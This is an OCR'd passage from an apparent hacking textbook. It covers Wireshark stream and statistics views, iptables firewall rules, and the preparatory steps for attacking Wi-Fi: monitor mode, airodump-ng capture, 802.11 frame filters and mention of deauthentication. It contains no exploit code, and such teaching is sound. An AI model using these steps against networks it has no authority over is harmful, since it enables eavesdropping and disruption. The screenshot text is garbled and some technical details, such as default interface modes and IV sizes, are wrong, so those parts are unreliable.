129. 369057 .168. .125.34.129 Sa 5asae 4 483 Fark] Seqe1319 Ack=941 Win=67 Len=0
Mark/Unmark Packet Ctri+M
Ignore/Unignore Packet  Ctri+D
¥ Set/Unset TimeReference  Ctrl+T
Frome 11110: 54 bytes on wire (432 bits), 54 bytes copt  p gy CutoShifteT
Ethernet II, Src: Cisco-Li_97:4f:48 (00:25:9c:97:4F:48)
TInternet Protocol Version 4, Src: 192.168.1.1, Dst: 192 Packet Comment... Crl+AltC
Transmission Control Protocol, Src Port: 88, Dst Port:
Edit Resolved Name
Apply as Filter
Prepare a Filter
Conversation Filter
Colorize Conversation
0

Follow TCP Stream Ctrl+Alt+ Shift+T

38 e3 7a 55 3c 05 00 25 Sc 97 4f 45 08 00 45 00 Copy USRI Y I
8@ 28 bl cc 48 8@ 48 86 ©5 47 c@ a8 @1 @1 c@ a8 SL Si m Ctrl+ Shift
@1 6b @@ 5@ c7 6b @@ @@ fd bd 65 e5 e2 bf 5@ 11 Protocol Preferences

P Strea Ctrls
17 70 @6 88 00 00 Decode As...

« Shift

Show Packet in New Window

This opens a pull-down window like that above. Click "Follow" and then "TCP Stream."

_‘ Wiresharl - Follow TCP Stream (tcp.stream eq 71) - wireshark_F3F33585-39FF-40F0-BCAS-80992C7CATR1_20170526110352_a03280 - [m] X

GET /extra/pcapr/trunk/script/jquery.splitter.js HTTP/1.1 D
Host: www.pcapr.net

Connection: keep-alive

User-Agent: Mozilla/5.8 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/S8.0.3629.11@ Safari/
537.36
Accept:
Referer: http://www.pcapr.net/view/mu/2669/@/2/15/WiFi-Open-Authentication.Cap.html

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Cookie: HopSession=52.202.96.115.113.8.t5jytgqjkuer; _| utme=1;

_ utma=22724790@.1478152681.1495776868. 1495776868, 1495776868.1; _ utmb=227247980.5.10.1495776868; _ utmc=227247900;
__utmz=227247989.1495776868.1.1. utmcsr=(direct) | utmccn=(direct) |utmecmd=(none)

w

HTTP/1.1 200 OK

Date: Fri, 26 May 2817 ©5:53:89 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Fri, 8 Jan 2016 83:02:37 GMT
Accept-Ranges: bytes

Content-Length: 7873

ETag: "48483cl-lecl-dlcdBdae”

Age: 23

Keep-Alive: timeout=18, max=18@
Connection: Keep-Alive
Content-Type: application/javascript

=
B

&

jquery.splitter.js - two-pane splitter window plugin
wversion 1.1 (@1/@5/2007)

Dual licensed under the MIT and GPL licenses:
http: //we.opensource.org/licenses/mit-license. php
http://www.gnu.org/licenses/gpl.html

on
* The splitter() plugin implements a two-pane resizable splitter window.
* The selected elements in the jQuery object are converted to a splitter;

Packet 5855, 4 client pies, 8 server pkes. § wms. Click tm select,

Entire conversation (10 kB) - Show and save data as | ASCII - Stream

Find: | | [ Findrext_|

Filter Out This Stream Print Saveas... Back Close Help
I EEE—

This opens a window that includes all the packets and their content in this stream. Note the statistics at the
bottom of the window to the far left (5796 bytes) and the method of displaying the content (ASCII).

56 | Page



Statistics

Finally, we may want to gather statistics on our packet capture. This can be particularly useful in creating
a baseline of normal traffic. Click on the Statistics tab at the top of Wireshark, and a pull-down menu
appears. In our case, let's navigate down to the IPv4 Statistics and then All Addresses.

M Wireshark . All Addresses . Wi-Fi - ] o
Topic / Iter:r; Count Average Minval Maxval Rate(ms) Percent Burstrate Burst start )
~ All Addresses 20030 0.0235 100%  2.0400 283,085

9820812083 2 0.0000 0.01%  0.0200 157,609
93.90.216.176 0.0000 0.01%  0.0100 360.629
93.211.193.117 0.0000 0.01%  0.0100 213.622
95.185.10.104 0.0000 0.00%  0.0100 45.631

95.133.184.74 0.0000 0.00%  0.0100 570.624
93.157.125.6 0.0000 0.01%  0.0100 830,613

93.136.164.111
92.249.157.130
92.249.150.192
92.189.95.108

91.245.122.169
91.121.195.238

0.0000 0.00%  0.0100 843.606
0.0000 0.01%  0.0100 689.628
0.0000 0.01%  0.0700 710.626
0.0000 0.00%  0.0100 773.634

0.0000 0.01%  0.0700 739.614

2
2
1
1
2
1
2
2
1
2 0.0000 0.01%  0.0100 346.650
2
2
2
1
2
1
2
1
2

89.2.187.59 0.0000 0.01%  0.0100 465.639
£9.139.66.80 0.0000 0.01%  0.0100 521.638
89.107.138.220 0.0000 0.00%  0.0100 577.617
87.50.89.251 0.0000 0.01%  0.0100 787.638
26.61.63.86 0.0000 0.00%  0.0100 241,615
86.143.13.160 0.0000 0.01%  0.0100 647,635
85.67.250.91 0.0000 0.00%  0.0100 367.613
85.253.211.77 0.0000 0.01% _ 0.0100 514,607 Y
Display filter: Enter a display filter [ apply
Copy Save as.. Close

As you can see above, Wireshark has listed every IP address with activity and some basic statistics for

each IP address.

Sniffers, network analyzers, protocol analyzers such as tcpdump and Wireshark are essential
tools for understanding what is taking place on your network. The better you understand how
these tools work and how they can help you analyze your traffic, the better you will be as a
network engineer or hacker. Throughout this book, we will be using these tools to shed some
light on the various protocols we are analyzing.

Exercises

1. Use tcpdump to filter out all traffic not coming or going to your IP address.

2. Connect to hackers-arise.com. Now use Wireshark to filter out any traffic not
coming from the hackers-arise.com web site

3. Use Wirehark to filter for traffic that has the word “hacker” in it.

4. Use netstat to find all the connections to your system
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Chapter 4

Linux Firewalls

Now that you know a bit about networking and network
packets, it’s probably a good idea to start thinking about
protecting your network. A firewall is one of the key security
measures necessary for a secure network. Linux has a number
of firewalls available to the infosec practitioner that can be
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crucial to securing their systems without the high cost of commercial systems. It only requires a
bit of knowledge and training.

A firewall is a subsystem on a computer that blocks certain network traffic from going into or
out of a computer. Firewalls can be either software or hardware-based. Hardware-based firewalls
generally are used to protect a network and the computers on it, while a software-based firewall
protects the system hosting it.

Iptables is a flexible firewall utility built for Linux and other *nix-based operating systems. It
uses the command line to setup policy chains to allow or block traffic. When someone tries to
connect to your computer, iptables automatically looks for a rule to match the type of traffic. If it
doesn't find a match, it falls back to the default action.

The iptables firewall was developed by the Netfilter project and has been available as part of the
Linux kernel since January 2001. As iptables has matured over the years, it has developed the
functionality of many of the proprietary commercial firewalls.

Only authenticated admins will be
allowed SSH access
\\

All HTTP users are allowed
wehb site access

Sdeeme]

--------- " {

Fm.“‘-.' HTTP % %
Internet \ "_Other requests

i f‘

L J / 1 ; - ',
- 4 : 3 §  Database
o / Z (MariaDB)

All other traffic is blocked

Iptables Basics

iptables is made up of some basic structures known as tables, chains, and targets
Let's look at each of these.

Tables
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Tables are an iptables construct that defines categories of functionality such as packet filtering or
NAT. There are four tables: FILTER, NAT, MANGLE, and RAW. Filter is the default table if
none other is specified. NAT is used to rewrite the source and/or destination of packets.
MANGLE is used for packet alteration, such as modifying the TCP header. RAW is used for
configuring exemptions from connection tracking

Chains

Each table has its own built-in chains, and the user can define their own chains. Chains are lists
of rules within a table. For our purposes here, the most important chains are INPUT, OUTPUT,
and FORWARD.

INPUT

This chain is for packets destined for the local system

OuUTPUT

This chain is for packets leaving the local system

FORWARD

This chain is for packets being routed through the local system

MATCH

A MATCH is where a packet meets the condition established by the rule. iptables then processes
the packet according to the action in the rule.

TARGETS

iptables support a set of targets that trigger an action when the packet meets the condition of a
rule. The most important of these are ACCEPT (allow the packet to pass), DROP (drop the
packet), LOG, REJECT (drop the packet and send back an error) and RETURN.

Installing Iptables

Iptables comes installed on nearly every Linux and *nix system, but if for some reason your
system doesn't have iptables tables installed, you can download it from the repository.

kali > sudo apt install iptables
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Configuring the Default Policy

Before we begin configuring our iptables, we must first decide what will be our default policy. In
other words, what should the firewall do to packets that do not match any rule?

To see the default policy on your policy chains, simply enter;

kali > sudo iptables -L

$ sudo iptables -L
[sudo] password for kali:
Chain INPUT (policy ACCEPT)
target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

As you can see in the screenshot above, our chains are all set by default to ACCEPT. Most times,
you will want your system to accept connections by default, but on very secure systems, you may
want to set the default to BLOCK and then write a rule for every type of accepted connection.
This is very secure, but very tedious and maintenance intensive. For now, let's leave the default
policy to ACCEPT.

iptables help

Next, let's look at the help screen for iptables.

kali > sudo iptables -h
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:~$ sudo iptables -h

[sudo] password for kali:

iptables v1.

Usage: iptables -[ACD] chain rule-specification [options]
iptables -I chain [rulenum] rule-specification [options]
iptables -R chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[L5] [chain [rulenum]] [options]
iptables -[FZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name

m Moo

iptables -P chain target [options]
iptables -h (print this help information)

Commands :
Either long or short options are allowed.
--append =-A chain Append to chain
--check -C_chain Check for the existence of a rule
—delete -D chain Delete matching rule from chain
--delete =D chain rulenum
Delete rule rulenum (1 : t) from chain
—1insert -I chain [rulenum]
Insert in chain as rulenum (default 1=first)
—replace -R chain rulenum

—list -L [chain [rulenum]]

List the rules in a chain or all chains
—list-rules -S [chain [rulenum]]

Print the rules in a chain or all chains
— flush -F [chain] Delete all rules in chain or all chains
— Zero =Z [chain [rulenum]]

Zero counters in chain or all chains
—new -N chain Create a new user-defined chain
--delete-chain

-X [chain] Delete a user-defined chain

—policy -P chain target

Change policy on chain to target

In the first of these screens, you can see the key options -A, -D, and -L. They are all uppercase,
and they append (-A), delete (-D), and list (-L) the chain, respectively.
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Options:
-§ Nothing (line is ignored by ip6tables-restore)
-—ipv6 =6 Error (line is ignored by iptables-restore)
—nroto -n_nroto nrotocol: bv_number or _name, eg. tcp'
--source -5 address[/mask][ ... ]
source specification
—-destination -d address[/mask][ ... ]
destination specification
—1in-interface -1i input name[+]
T CWOT R AT LT GCE e ¥ OT Wi CUCHETa)

—jump -j target

target for rule (may load target extension)

—goto -g cnain
jump to chain with no return
—match -m match
extended match (may load extension)
-—-numeric -n numeric output of addresses and ports
[!] —out-interface -o output name[+]
network interface name ([+] for wildcard)
-—table -t table table to manipulate (default: “filter')
--verbose -V verbose mode
—wait -w [seconds] maximum wait to acquire xtables lock before give up
—wait-interval -W [usecs] wait time to try to acquire xtables lock
default is 1 second
——line-numbers print line numbers when listing
-—exact -X expand numbers (display exact values)

[!] —fragment -f match second or further agments only
--modprobe=<command> try to insert modules using this command
—set-counters PKTS BYTES set the counter during insert/append

[!'] —version -V print package version.

R |

b

In the second screen, we can see the options -s -d and -j. These are all lowercase and indicate the
source address, the destination address, and the target, respectively.

Create Some rules

Next, let's create some rules. Let's assume that you want to block any packets coming from IP
address 192.168.1.102. To create this rule, we simply do the following;

-A this appends this rule to the chain
INPUT looks to match packets coming to the local system
-s sets the source address of the packets

-j sets the target in this case, DROP

:~$ sudo iptables -A INPUT -s 192.16




If we want to DROP packets destined for a particular port, we can use the -p option followed by
the protocol (tcp) and the --dport (destination port) followed by the port (ssh).

$ sudo iptables -A INPUT -s 192.168.1.102 -j DROP

If we wanted to accept connections to the website www.amazon.com, we could build a rule that
ACCEPTSs outgoing connection (OUTPUT) over the TCP protocol (-p tcp) to amazon.com (-d
amazon.com)

kali > sudo iptables -A OUTPUT -p tcp -d amazon.com -j ACCEPT

:~$ sudo iptables -A OUTPUT -p tcp -d amazon.com -j ACCEPT

It's important to note that iptables will do a DNS lookup only at the time of the creation of the
rule. If the IP address changes, the rule will become ineffective. For this reason, it is preferable
to use the IP address of the domain.

If we wanted to block access to any other websites, we could create the following two rules;

kali > sudo iptables -A OUTPUT -p tcp --dport 80 -j DROP

kali > sudo iptables -A OUTPUT -p tcp --dport 443 -j DROP

:~$ sudo iptables -A OUTPUT -p tcp ——dport 80 -j DROP

:~$ sudo iptables -A OUTPUT -p tcp -—-dport 443 -3j DROP

The order of these rules is critical. iptables will search the rules until it finds a match. This means
that if the last two rules, dropping ports 80 and 443, were placed before the domain rule, the user
would never be able to reach amazon.com as the drop rules would match before reaching the
domain rule.

So when the local system attempts to connect to amazon.com, they are blocked, and the browser
times out, as seen below.
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Finally, we can view our table by using the -L or list option

&

:~% sudo iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source
DROP all 192.168.1.1
DROP all 8.1.8/2 an)
DROP tep anywher tcp dpt:ssh
ACCEPT tcp =-- 192.168.1.102 anywhere tcp dpt h state NEW,ESTABLISHED

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt sour
ACCEPT tep

ACCEPT tcp

ACCEPT tep

DROP tCcp

w

£ =M
o

(78}

s-s5tandard.console.aws.amazon.com
tcp dpt:http
tcp dpt:https

T TIREY L B =

To delete a table and start over, we can flush (-F) the table.

kali > sudo iptables -F
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:~$ sudo iptables -F
$ sudo iptables -L

Chain INPUT (policy ACCEPT)

target

prot opt source destination

Chain FORWARD (policy ACCEPT)

target

prot opt source destination

Chain OUTPUT (policy ACCEPT)

target

prot opt source destination

~$ 1

Now, when we list the table, we can see that we have a clean slate for creating a new table.

Summary

iptables provides the Linux practitioner and cybersecurity professional with a powerful and
flexible firewall. With just a bit of knowledge and practice, they can create an effective firewall
rivaling the more expensive and complex commercial products costing tens of thousands of

dollars.

Exercises

Create a firewall that enables you to connect to Hackers-Arise and no other
website on ports 80 and 443

Add a rule to block port 445

Flush these rules
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Chapter 5

Wi-Fi Networks (802.11)

In our modern digital age, wireless connections are the norm. We
connect to the Internet via Wi-Fi, we connect to our speakers and phone
via Bluetooth, and we connect our phones via cellular service. All are
wireless, and all are susceptible to being hacked. Each of these areas of
hacking would warrant a separate book, but in this chapter, I’1l focus on
some of the best, most recent, and most effective hacks to Wi-Fi (for
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Bluetooth Hacks, see Chapter 6 and for Cellular Networks, see Chapter 16).

In this chapter, we will explore multiple ways that these wireless technologies can be attacked and
broken. This includes both acquiring the password (PSK) and eavesdropping on Wi-Fi traffic. These
techniques require a bit of sophisticated Linux and Kali skills (see Linux Basics for Hackers) and
patience, but if you have those two elements, you should be successful in cracking nearly any Wi-Fi AP!

Let’s begin with Wi-Fi or 802.11, as it is known to the IEEE. We all know how to work with Wi-Fi, but
few of us understand its inner workings. Understanding a bit about its anatomy will help us in attacking it.

Wi-Fi or 802.11

Wi-Fi is also sometimes referred to as a “Wireless Local Area Network” or WLAN, which basically sums
up what this technology is all about. In technical terms, Wi-Fi (or wireless networking) is known as IEEE
802.11 technologies. Without getting into too much detail, IEEE 802.11 is a set of standards created and
maintained by the Institute of Electrical and Electronics Engineers (IEEE), which are used to implement
WLAN communication in select frequency bands.

Initially, Wi-Fi was secured with Wired Equivalent Privacy or WEP. This proved flawed and easily
hacked, so the industry developed WPA as a short-term fix. Eventually, the industry implemented WPA2,
which has proven relatively resilient to attack but does have its flaws. The industry is presently rolling out
WPA3 due to these vulnerabilities in WPA2.

Terminology

This chapter contains a lot of new terminology and acronyms, so let’s pause a moment to review some
terminology.

AP - This is the access point or the place where the clients connect to the Wi-
Fi and get Internet access.

PSK - Pre-Shared-Key This is the password used to authenticate to the AP
SSID - The name used to identify the AP
ESSID - (Extended Service Set Identifier) is the same as the SSID but can be used

for multiple APs in a wireless LAN

BSSID - ( Basic Service Set Identifier) this is the unique identifier for every AP.
It’s the same as the MAC address of the AP

Channels - Wi-Fi operates on channels 1-14 but is limited to 1-11 in the U.S.

Power - The closer you are to the AP, the stronger the signal. The signal in the
U.S is limited to .5 watts by the FCC

Security - This is the security protocol to authenticate and encrypt Wi-Fi traffic.
The most popular at this time is WPA-PSK
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Modes - Wi-Fi can operate in three modes, master, managed, and monitor. APs
operate in master mode, wireless network interfaces operate in monitor
mode by default, and hackers usually operate in monitor mode.

Range - At the legal limit of .5 watts, most Wi-Fi APs are accessible up to 300ft
(100m) but with high gain, antennas can be accessible up to 20 miles

Frequency - Wi-Fi is designed to operate at 2.4GHZ and 5GHZ. Most modern
systems now use both.

802.11 Security Protocols

There have been several security protocols to protect and encrypt Wi-Fi, and your strategy will depend
upon which has been implemented.

WEP

The initial security protocol to secure 802.11 was named WEP or Wired Equivalent Privacy. By
2001, hackers discovered that--through statistical techniques--they could crack the user’s
password in minutes due to improperly implemented RC4 encryption. The IEEE had to quickly
find a replacement as all the Wi-Fi APs were left without security at that point. Few of these
access points are still in use today.

WPA

In 2003, IEEE created a short-term fix they called Wi-Fi Protected Access or WPA. The key part
of this new security protocol was that it did not require replacing the existing hardware, but
rather it relied upon firmware upgrades. WPA also relied upon the RC4 encryption algorithm but
added some additional features making the PSK more difficult and time-consuming to crack.
These features included

1. Making the Initialization Vector longer from 48 to 128 bits
2. TKIP, which generates different keys for each client
3. Message Integrity Check to make certain the messages have not been altered enroute

WPA2

The WPA2 802.11i standard was finalized in June 2004. WPAZ2 uses the counter mode with Cipher Block
Chaining Message Authentication Protocol, more commonly known as CCMP. This new protocol was
based upon the Advanced Encryption Standard (AES, see Appendix A for more on Cryptography)
algorithm for authentication and encryption. CCMP was more processor-intensive, so most APs had to be
replaced with more vigorous hardware.
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WPA2 supports both Personal and Enterprise modes. When using the personal mode (PSK), the pre-
shared key (password) is combined with the SSID to create a pairwise master key (PMK). This was
designed to make a rainbow table password cracking more difficult. The client and the AP exchange
messages using the PMK to create a pairwise transient key (PTK). This key is unique to each user and
session and was designed to make sniffing Wi-Fi traffic more difficult.

Wi-Fi Adapters for Hacking

Although nearly everyone has a Wi-Fi adapter on their laptop or mobile device, these Wi-Fi adapters are
generally inadequate for the attacks I outline here. Wi-Fi hacking requires a specialized Wi-Fi adapter,
one that is capable of injecting frames into a wireless AP. Few

off-the-shelf Wi-Fi adapters can do so.

Aircrack-ng is the most widely used tool for Wi-Fi (many tools
simply put a GUI over aircrack-ng) hacking, and aircrack-ng
maintains a list of Wi-Fi chipsets that are compatible with their
software at https://www.aircrack-
ng.org/doku.php?id=compatible_cards).

I can save you a lot of time and research and simply recommend
the Alfa Wi-Fi cards. I have been using them for years, and they
work flawlessly. They are inexpensive, effective, and efficient. I
will be using the Alfa AWUSO036NH throughout this chapter.
You can order your own with a high-gain antenna (not required,
but recommended) from Amazon for less than $40
(https://amzn.to/2PvC1u0).

Before we begin attacking the Wi-Fi, let’s review some commands and concepts we will need to attack
them.

Viewing Wireless Interfaces

First, we need to view our wireless interfaces. You can do this by simply using the i fconfig command
in Linux. This command displays all your networking interfaces.

kali > ifconfig
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:~# ifconfig
4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500
6 .243 netmask 255.255.255.0 broadcast 192.16 .255
20c:29ff:fe99:c941 prefixlen 64 scopeid 0x28<link=
en 1000 (Ethernet)
125223 - (161.4 MiB)
frame 0

263 (1.0 MiB)
uns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
i .0.0.1 mask 255.0.0.0
::1 e 28 s id @x10<host=>
xqueuel

5031595 (4.7 MiB)
overruns @ frame @
5831595 (4.7 MiB)

ed @ overruns @

wlane: 63<UP, BROADCAST, RUNNING, MULTICAST>

&t

® overruns @

0 (0.0 B)

@ overruns ©

To be more specific and view only the wireless interfaces, you can use the iwconfig command.

kali > iwconfig

:~# iwconTig
lo no w s extensions.

etho no wire

wlan@ IEEE 802.11 ESS

Mode:Managed Acce Point:
ﬁ Retry short limit:7 RTS thr:off

Encryption
Power Manag

As you can see, this command only displays those interfaces with “wireless extensions.”

Not-Associated
Fragment thr:off

To view all the Wi-Fi APs within range of your wireless network interface, you can enter iwlist in

Linux.

kali > iwlist
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:~# 1wlist wlan® scan
wlan@ Scan complete
cell 81 - : MAC Address or BSSID <=

equency:2.437 GHz (Channel 6)
Quality=78/70 Signal level=-19 dBm
Encryption key:off
initywifi®
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s
24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s

0000a447154beb
beacon: 2428ms

This command is capable of detecting all the APs within range and providing you with key information

about each, including:

1. Its MAC address

2. Its channel
3. Frequency
4. ESSID

5. Its Mode

Monitor Mode

Speaking of Wi-Fi mode, Wi-Fi or 802.11 has three modes: master, managed, and monitor. Monitor
mode is similar to the promiscuous mode in a wired network, where the network device is capable of
picking up all packets passing its way. Generally, in Wi-Fi hacking, you will need your wireless card in

monitor mode. To do so, enter

kali > airmon-ng start wlanO
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:~# airmon-ng start wlane

Found 3 proc es that could cause trouble.

Kill them ng |airmon-ng check kill' befo putting

the card in monitor mode, they will interf by chan g channels
and sometimes putting the interface back in managed mode

PID Name

550 yrkManager
890 wpa supplicant
7871 dhclient

PHY Interface Driver Chipset
phyl ELL] rt2808usb Ralink Technology, Corp. RT2870/RT3070

(mac80211 monitor mode vif enabled for [phyl]wlan® on [phyl]wlan@mon)
(mac80211 station mode vif disabled for [phyl]wlan®)

When you enter this command, it places your wireless interface into monitor mode and changes its name.

Here you can see it has changed to wlanOmon.

Also, note that it warns that three processes could cause trouble. Despite this warning, usually, this does

not cause a problem. If it does create a problem, enter:

kali > airmon-ng check kill

Capturing Frames

Next, with our wireless NIC in monitor mode and seeing all the traffic around us, we need to begin to
capture that data. We can do so by using the airodump-ng command in the aircrack-ng suite as so:

kali> airodump-ng wlanOmon

CH 10 ][ Elapsed: ® s ][ 2019-11-01 89:26
Beacons 3 #/5 y MB ENC CIPHER AUTH

MAC Addresses - : 0 g 58 WPA2 CCMP ! HP-Print-E3-Deskje
of AP's - g ] D - -1 <length: 0>
. 130 WPAZ CCMP TPTV1
130 WPA2 CCMP <length: 0>

195 WPA2 CCMP CenturyLink6236
54e WEP WEP APHU1

STATION 4 ate Lost Frames Probe

F2:A3:A7:5B:63:29 00: :8F:8D:18:25 ~-16 D - 4: Mandela2
(not associated) 2:CC:23:F6:58:E2 -78
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Now, we can see all the APs with their critical information in the upper part of the screen and the clients
in the lower part of the screen. All the information we need to attack these APs and clients is available

right here!

Anatomy of Wi-Fi Frames

In this section, we will be examining the Wi-Fi (802.11) protocol anatomy. It's great to know
how to use the tools at our disposal to hack Wi-Fi, but if you want to develop your own tools,
you will need to dig deeper into the Wi-Fi protocol to understand it better.

The tables below enumerate each of the Wi-Fi frame types, their description, and how you can
filter for each type using Wireshark.

Type value Type description Subtype value |Subtype description Wireshark display filter
0 Management 0 Association Request wlan.fotype subtype == 0x00
0 Management 1 Association Response wlan.fc.type_subtype ==0x01
0 Management 10 Reassociation Request wian.fc.type subtype == 0x02
0 Management 11 Reassociation Response wlan.fotype subtype ==0x03
0 Management 100 Probe Request wlan.fc.type subtype == 0x04
0 Management 101 Probe Response wlan.fc.type subtype == 0x05
0 Management 0110-0111 Reserved
0 Management 1000 Beacon wian.fetype subtype == 0x08
0 Management 1001 ATIM wlan.fc.type subtype ==0x09
0 Management 1010 Disassociation wlan.fc.type subtype == 0xDA
0 Management 1011 Authentication wlan.fe.type subtype == 0x08
0 Management 1100 Deauthentication wlan.fe.type_subtype ==0x0C
0 Management 1101 Action wlan.fc.type subtype == 0x0D
0 Management 1110-1111 Reserved
value Type description Subtype value Subtype description Wireshark display filter

1|{Control 0000-0111 Reserved

1|Control 1000|Block Ack Request  [wlan.fc.type_subtype ==0x18

1|Control 1001 |Block Ack wlan.fc.type_subtype ==0x19

1{Control 1010|PS-Poll wlan.fc.type_subtype == 0x1A

1|Control 1011|RTS wlan.fc.type_subtype == 0x1B

1(Control 1100(CTS wlan.fc.type_subtype ==0x1C

1{Control 1101 |ACK wlan.fc.type_subtype == 0x1D

1{Control 1110|CF-end wlan.fc.type_subtype == 0x1E

1|Control 1111|CF-end + CF-ack wlan.fc.type_subtype == 0x1F
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Type Value  |Type Description SubtypeValue  |Subtype Description | wireshark Display Filter
10|Data 0|Data wlan.fc.type subtype ==0x20
10|Data 1|Data + CF-ack wlan.fc.type_subtype == 0x21
10|Data 10|Data + CF-poll wlan.fc.type_subtype ==0x22
10|Data 11| Data +CF-ack +CF-poll wlan.fc.type_subtype == 0x23
10|Data 100 Null wlan.fe.type_subtype == 0x24
10|Data 101|CF-ack wlan.fc.type_subtype == 0x25
10|Data 110|CF-poll wlan.fc.type_subtype == 0x26
10|Data 111|CF-ack +CF-poll wlan.fc.type_subtype =— 0x27
10|Data 1000| Qo5 data wlan.fc.type_subtype ==0x28
10|Data 1001|Qos data + CF-ack wlan.fc.type subtype ==0x29
10|Data 1010| QoS data + CF-poll wlan.fc.type subtype ==0x2A
10|Data 1011|QoS data + CF-ack + CF-poll  |wlan.fc.type_subtype == 0x28
10|Data 1100| QoS Null wlan.fc.type subtype == 0x2C
10|Data 1101|Reserved wlan.fc.type_subtype == 0x2D
10|Data 1110|Qos + CF-poll (no data) wlan.fc.type_subtype == 0x2E
10|Data 1111|Qos + CF-ack (no data) wlan.fc.type_subtype = 0x2F
11|Reserved 0000-1111 |Reserved

A Bit of Background of these Different Frame Types

The tables above are a great reference, but let's take a moment to review what each of those
frames does, including their specific Wireshark filter (in italics beneath each description). It's
important to note that tools such as airodump-ng and Kismet are capable of using these frames to
provide you with key information necessary for hacking the AP.

1. An Association request is sent by a station to associate with a BSS.

wlan.fc.type==0x00

2. An Association response is sent in response to an association request

wlan.fc.type==0x01

3. A Reassociation request is sent by a station changing association to another AP in the same
ESS (so roaming between APs, or reassociating with the same AP)

wlan.fc.type==0x02
4. Reassociation response is the response to the reassociation request

wlan.fc.type==0x03
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5. Probe request is sent by a station in order to “scan” for an SSID (this is how airodump-ng and
other tools find the AP even if the SSID is turned off).

wlan.fc.type==0x04
6. Probe response is sent by each BSS participating to that SSID
wlan.fc.type==0x05

7. Beacon is a periodic frame sent by the AP (or stations in case of IBSS) and gives information
about the BSS

wlan.fc.type==0x08

8. ATIM is the traffic indication map for IBSS (in a BSS, the TIM is included in the beacon)
wlan.fc.type==0x09

9. Disassociation is sent to terminate the association of a station

wlan.fc.type==0x0A4

10. Authentication is the frame used to perform the 802.11 authentications (and not any other
type of authentication)

wlan.fc.type==0x0B
11. Deauthentication is the frame terminating the authentication of a station. This frame is often

used in our attack tools to "bump" users off the AP using aireplay-ng or perform a Denial of
Service on the AP.

wlan.fc.type==0x0C

12. Action is a frame meant for sending information elements to other stations (when sending in
a beacon is not possible/best)

wlan.fc.type==0x0D

13. PS-Poll is the Power-save poll frame polling for buffered frames after a wake-up from a
station

wlan.fc.type==0x1A4

14. RTS is the request-to-send frame
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wlan.fc.type==0x1B

15. CTS is the clear-to-send frame (often response to RTS)
wlan.fc.type==0x1C

16. ACK is the acknowledge frame sent to confirm receipt of a frame.
wlan.fc.type==0x1D

17. Data frame is the basic frame containing data

wlan.fc.type==0x20

18. Null frame is a frame meant to contain no data but flag information
wlan.fc.type==0x24

19. QoS (Quality of Service) data is the QoS version of the data frame
wlan.fc.type==0x28

20. QoS (Quality of Service) null is the QoS version of the null frame
wlan.fc.type==0x2C

Wireshark Display Filters for Wi-Fi Frames

To filter for these frames in Wireshark, click on the "Expressions" tab to the right of the filter
window and the following Window will open.

In the Search field near the bottom right, enter "wlan" as seen below.

78 | Page


https://www.hackers-arise.com/post/2018/09/24/network-forensics-wireshark-basics-part-1

M wiireshark . Display Filter Expression

Field Mame:

HomePhA - HomePNA, wlan link local tunnel

~ |EEE 802.11 - IEEE 802.11 wireless LAM

wilan, 20_40_be - 20/40 BSS Coexistence Flags

wilan.20_40_bc.20_mhz_bss_witdh_request . 20 MHz BSS Witdh...

wilan.20_40_be forty_mhz_intolerant - Forty MHz Intolerant

wilan.20_40_be.information_request - Information Request

wilan.20_40_bc.obss scanning_exemption_grant - 0BS5S Scanni..

wilan.20_40_bc.obss_scanning_exemption_request . OBSS Sca...

wilan, 20 40_be.reserved - Reserved

wian.activity - Activity

wilan.addba.he_frag_oper - ADDBA HE Fragmentation Operation

wlan.addba.nc_frag - ADDBA Mo Fragmentaticn

wilan.addr - Hardware address

wilan.addr_resolved - Hardware address (resolved)

Relation

is present

AV

>

containg
matches
in

Value (Protocol)

wilan.adv_prote.id - Adverticement Protocol ID

| Select a field to start building a display filter. h

wilan.adv_prote.pame_bi - PAME-BI
wlan.adv_proto.resp_len_limit - Query Response Length Limit
wilan.adv_proto.vs_len - Advertisement Pratocol Vendor Specif..,
wilan.aid - Association D

wlan.aironet.clientmip - Aironet [E Client MFP
wilan.airenet.data - Aironet [E data

wilan.aironet.dtpe - Aironet IE CCX DTCP
wilan.zironet.dtpe_unknown - Aironet [E CCX DTCP Unknown
wlan.aironet.qos.paramset - Aironet [E QoS paramset

Search [wlen

Predefined Values

Range (offset:length)

wian

Ok OK to insert this fiber

o 11

Now, scroll down to the "wlan.fc.subtype" field and click on it. Select the "==" for relation and
then enter the value of the frame type you want to filter for.

M wireshark - Display Filter Expression

Figld Mame

wlanfe.moredata - More Data

wlan.fe.arder - Order flag

wlan.fc protected . Protected flag

wlanfe pwrmgt - PWR MGT

wlan.feretry - Retry

wlan.fc.retry.expert - Retransmission (retry)
wianfe.subtype - Subtype

wlan.fc.tods - To DS

wianfctype - Type

wlan.fe type_subtype . Type/Subtype

wlan.fe.version - Version

wlan.fecs - Frame check sequence
wlanfes.bad_checksum - Bad checksum
wlanfes.status - FCS Status

wian.fh.dwell_time . Dwell Time

wlan.fh.hop_index - Hop Index

wlan.fhhep_pattern - Hep Pattern

wlanfhhop_set - Hop Set
wlanfh_hopping.parameter.nb_channels - Mumber of Channels
wlanth_hopping.parameter.prime_radix - Prime Radix
wlanfh_hopping.tableflag - Flag
wlanfh_hopping.table.modulus - Modulus
wlanfh_hopping.table.number_of_sets - Mumber of Sets
wlanfh_hopping.table.offsst - Offset

Value (Unsigned integer, 1byte)

[ogl

Predefinad Values

Range (offset:length)

Search: [wlen

wian. fc.subtype == 00

Click O 1o insert s fber




When trying to develop your own Wi-Fi hacking tools, it is critical to understand the frames and
their purpose in this 802.11 protocol. Bookmark this page for future reference as we use this
information to develop our very own Wi-Fi hacking tools!

